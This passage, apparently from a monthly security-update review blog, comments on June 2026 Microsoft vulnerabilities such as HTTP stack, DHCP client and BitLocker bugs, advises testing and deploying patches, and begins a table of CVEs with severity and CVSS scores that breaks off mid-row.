bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
